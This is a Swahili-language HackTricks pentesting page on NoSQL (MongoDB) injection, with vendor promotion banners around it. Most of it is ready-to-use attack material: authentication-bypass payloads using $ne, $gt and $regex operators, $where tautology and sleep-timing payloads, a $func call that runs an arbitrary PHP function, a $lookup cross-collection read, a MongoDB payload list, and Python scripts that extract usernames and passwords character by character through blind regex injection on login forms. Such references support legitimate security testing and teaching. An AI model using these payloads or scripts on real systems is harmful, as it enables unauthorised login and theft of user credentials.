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hacktricks/pentesting-web/nosql-injection.md

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Kuingiza NoSQL


Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani.
Pata Ufikiaji Leo:

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Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

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Kudukua

Katika PHP unaweza kutuma Array kwa kubadilisha parameter iliyotumwa kutoka parameter=foo hadi parameter[arrName]=foo.

Mbinu za kudukua zinategemea kuongeza Msimamizi:

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Kupitisha uthibitisho wa msingi

Kutumia sio sawa ($ne) au kubwa zaidi ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo

query = { $where: `this.username == '${username}'` }

Mshambuliaji anaweza kutumia hili kwa kuingiza maneno kama admin' || 'a'=='a, ikifanya swali kurudi nyaraka zote kwa kutosheleza hali na tautology ('a'=='a'). Hii inalingana na mashambulizi ya SQL injection ambapo viingilio kama ' or 1=1-- - hutumika kudhibiti mizizi ya SQL. Katika MongoDB, mashambulizi sawa yanaweza kufanywa kwa kutumia viingilio kama ' || 1==1//, ' || 1==1%00, au admin' || 'a'=='a.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00     or    admin' || 'a'=='a

Pata habari ya urefu

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Pata habari za data

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Utekelezaji wa Kazi ya Kiholela ya PHP

Kwa kutumia operator $func wa maktaba ya MongoLite (inayotumiwa kwa chaguo-msingi) inaweza kuwa inawezekana kutekeleza kazi ya kiholela kama ilivyo katika ripoti hii.

"user":{"$func": "var_dump"}

https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png

Pata habari kutoka kwa mkusanyiko tofauti

Inawezekana kutumia $lookup kupata habari kutoka kwa mkusanyiko tofauti. Katika mfano ufuatao, tunasoma kutoka kwa mkusanyiko tofauti uitwao users na kupata matokeo ya kila kuingia na nywila inayolingana na wildcard.

TAARIFA: $lookup na kazi nyingine za uagizaji zinapatikana tu ikiwa kazi ya aggregate() ilitumika kufanya utafutaji badala ya kazi za kawaida za find() au findOne().

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Tumia Trickest kujenga na kutumia mchakato wa kiotomatiki ulioendeshwa na zana za jamii zenye maendeleo zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Malipo ya MongoDB

Orodha kutoka hapa

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
|| 1==1//
|| 1==1%00
}, { password : /.*/ }
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1
';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}

Skripti ya NoSQL ya Kipofu

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break

import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Kuvunja majina ya mtumiaji na nywila kwa kutumia POST login

Hii ni script rahisi ambayo unaweza kubadilisha lakini zana za awali pia zinaweza kufanya kazi hii.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames

for u in get_usernames(""):
get_password(u)

Vifaa

Marejeo

Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

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Tumia Trickest kujenga na kutumia taratibu za kiotomatiki zinazotumia zana za jamii yenye maendeleo zaidi duniani.
Pata Ufikiaji Leo:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}